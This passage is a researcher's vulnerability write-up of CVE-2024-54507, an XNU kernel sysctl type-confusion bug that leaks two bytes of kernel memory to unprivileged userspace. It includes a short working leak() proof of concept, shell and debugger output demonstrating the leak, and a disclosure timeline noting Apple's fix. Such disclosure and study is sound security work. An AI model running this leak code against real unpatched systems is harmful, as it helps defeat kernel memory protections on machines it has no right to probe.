oid_arg1; error = sysctl_handle_int(oidp, &new_value, 0, req); if (error != 0) { return error; } if (new_value UINT16_MAX) { return EINVAL; } *(uint16_t *)oidp->oid_arg1 = (uint16_t)new_value; return 0; }
“`
When `sysctl_udp_log_port` is invoked, `oidp->oid_arg1` will point to one of the four `uint16_t`’s from above, depending on which sysctl was requested.
This function mostly just wraps `sysctl_handle_int`, which both validates the user requested new value for the sysctl (writing it into `new_value`), and simultaneously copies out the current value of the sysctl to userspace.
Before storing the new value back into the underlying `uint16_t` variable, the kernel checks if we are about to cause an overflow (returning `EINVAL` if so).
If `new_value` is less than 0 or more than `UINT16_MAX`, we return `EINVAL` and do not update `oid_arg1`.
Otherwise, we write `new_value` to `oid_arg1`, treating it as a properly sized `uint16_t`.
This check is sufficient to prevent overwrites, but an overread has already occurred…
## Integer Type Confusion
The bug is that when we load `oidp->oid_arg1` into `new_value`, we treat it as an integer pointer (4 bytes), rather than a `uint16_t` pointer (2 bytes).
That’s why we observed 2 bytes of out-of-bounds data being read when we ran `sysctl -a`.
“`
int new_value = *(int *)oidp->oid_arg1; // Out-of-bounds read because oid_arg1 is a u16, not i32
“`
Then, when we call `sysctl_handle_int`, we pass the OOB read data back to userspace.
Even though we detect the overflow and return `EINVAL`, the OOB read has already occurred, and is visible from userspace!
# Leaking (2 bytes of) Kernel Memory
We can leak two bytes of kernel memory by simply reading from the last sysctl in memory ( `remote_port_excluded`).
This sysctl can be read without root.
“`
void leak() { uint64_t val = 0; size_t len = sizeof(val); sysctlbyname(“net.inet.udp.log.remote_port_excluded”, &val, &len, NULL, 0); printf(“leaked: 0x%X 0x%Xn”, (val >> 16) & 0x0FF, (val >> 24) & 0x0FF); }
“`
I tried this on an `xnu-11215.1.10` VMAPPLE ARM64 release flavor kernel that I compiled locally.
In the kernel that I compiled I observed `net.inet.udp.log_in_vain`, some random other sysctl, placed directly after `remote_port_excluded`.
As ARM64 is little-endian, we can leak the two least significant bytes of this variable.
“`
% sysctl net.inet.udp.log_in_vain net.inet.udp.log_in_vain: 0 % ./leak leaked: 0x0 0x0 % sudo sysctl net.inet.udp.log_in_vain=0x1234 net.inet.udp.log_in_vain: 0 -> 4660 % ./leak leaked: 0x34 0x12
“`
Let’s take a look at this in a debugger.
I attached a debugger and used it to set the two bytes after `udp_log_remote_port_excluded` (at `0xfffffe002cbf9e8c`) to `0xABCD`.
We should not be able to read these from userspace.
“`
(lldb) p &udp_log_remote_port_excluded (uint16_t *) 0xfffffe002cbf9e8a (lldb) x/4bx 0xfffffe002cbf9e8a 0xfffffe002cbf9e8a: 0x00 0x00 0x00 0x00 (lldb) memory write 0xfffffe002cbf9e8c -s 2 0xABCD (lldb) x/4bx 0xfffffe002cbf9e8a 0xfffffe002cbf9e8a: 0x00 0x00 0xcd 0xab ────┬──── ────┬──── udp log remote ────┘ └──── leak port excluded this
“`
Then, I ran `leak()` and observed the leakage of data beyond the end of `udp_log_remote_port_excluded`:
“`
% ./leak leaked: 0xCD 0xAB
“`
# What can we leak?
“It depends(TM)”.
`udp_log.o`’s common section only has four things in it- those four `uint16_t`’s.
For each of them, we can leak 2 extra bytes.
As they are all laid out sequentially in memory, the first 3 `uint16_t`’s only give us the next successive variable, which we can already read.
However, the last one ( `remote_port_excluded`) leaks 2 bytes of whatever the linker decides to put after `udp_log.o`.
Here is what this looks like in memory:
“`
udp_log.o’s __common section: ┌──────────────────────┐ │ local_port_included │+0 ├──────────────────────┤ │ remote_port_included │+2 ├──────────────────────┤ │ local_port_excluded │+4 ├──────────────────────┤ │ remote_port_excluded │+6 ├──────────────────────┤ oid_arg1; + int new_value = *(uint16_t *)oidp->oid_arg1; error = sysctl_handle_int(oidp, &new_value, 0, req); if (error != 0) {
“`
# Timeline
– **September 16, 2024**: macOS 15.0 Sequoia was released with `xnu-11215.1.10`, the first public kernel release with this bug.
– **Fall 2024**: I reported this bug to Apple.
– **December 11, 2024**: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning `CVE-2024-54507` to this issue.
# Takeaways
You can find a proof of concept here.
This bug is a neat example of how difficult kernel programming can be. Even the most seemingly innocuous loads can be deadly. Even though the authors were careful to prevent integer overflows, information leakage was still possible due to the initial 4-byte load.
Specifically, I thought this was a neat case study demonstrating BSD sysctl’s, and is a good cautionary tale to any would-be sysctl authors to be careful of the consequences of every memory access.
There are many kernel variants for all the different XNU platforms, some of which might leak some interesting data (I didn’t check them all). If anyone finds a cool way to use this bug, let me know! Find me on X @0xjprx.
# References
[1] John Baldwin. “Implementing System Control Nodes (sysctl)”. _In: FreeBSD Journal (2014)_.
-ravi
January 23, 2025